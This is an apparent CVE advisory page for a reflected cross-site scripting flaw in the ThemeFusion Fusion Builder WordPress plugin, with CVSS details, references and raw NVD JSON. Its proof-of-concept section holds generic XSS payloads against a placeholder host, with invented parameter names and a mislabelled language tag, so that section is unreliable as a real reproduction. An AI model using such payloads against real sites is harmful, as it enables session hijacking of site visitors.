CVE-2026-32542

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeFusion Fusion Builder fusion-builder allows Reflected XSS.This issue affects Fusion Builder: from n/a through < 3.15.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ThemeFusion Fusion Builder < 3.15.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-32542 -->
<!-- Reflected XSS in ThemeFusion Fusion Builder -->
<!-- The vulnerable parameter is reflected in the response without sanitization -->

<html>
<body>
<h2>CVE-2026-32542 PoC</h2>
<p>Click the link below to trigger the XSS:</p>
<a href="http://target-site.com/?vulnerable_param=<script>alert('XSS')</script>">Test Exploit</a>

<!-- Alternatively, direct execution if the user visits the link -->
<!-- http://target-site.com/wp-admin/admin.php?page=fusion-builder&param=<img src=x onerror=alert(1)> -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32542
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32542
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32542/
[4] VulDB https://vuldb.com/cve/CVE-2026-32542
[5] https://patchstack.com/database/Wordpress/Plugin/fusion-builder/vulnerability/wordpress-fusion-builder-plugin-3-15-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32542", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:08.120", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeFusion Fusion Builder fusion-builder allows Reflected XSS.This issue affects Fusion Builder: from n/a through < 3.15.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en ThemeFusion Fusion Builder fusion-builder permite XSS Reflejado. Este problema afecta a Fusion Builder: desde n/a hasta < 3.15.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fusion-builder/vulnerability/wordpress-fusion-builder-plugin-3-15-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}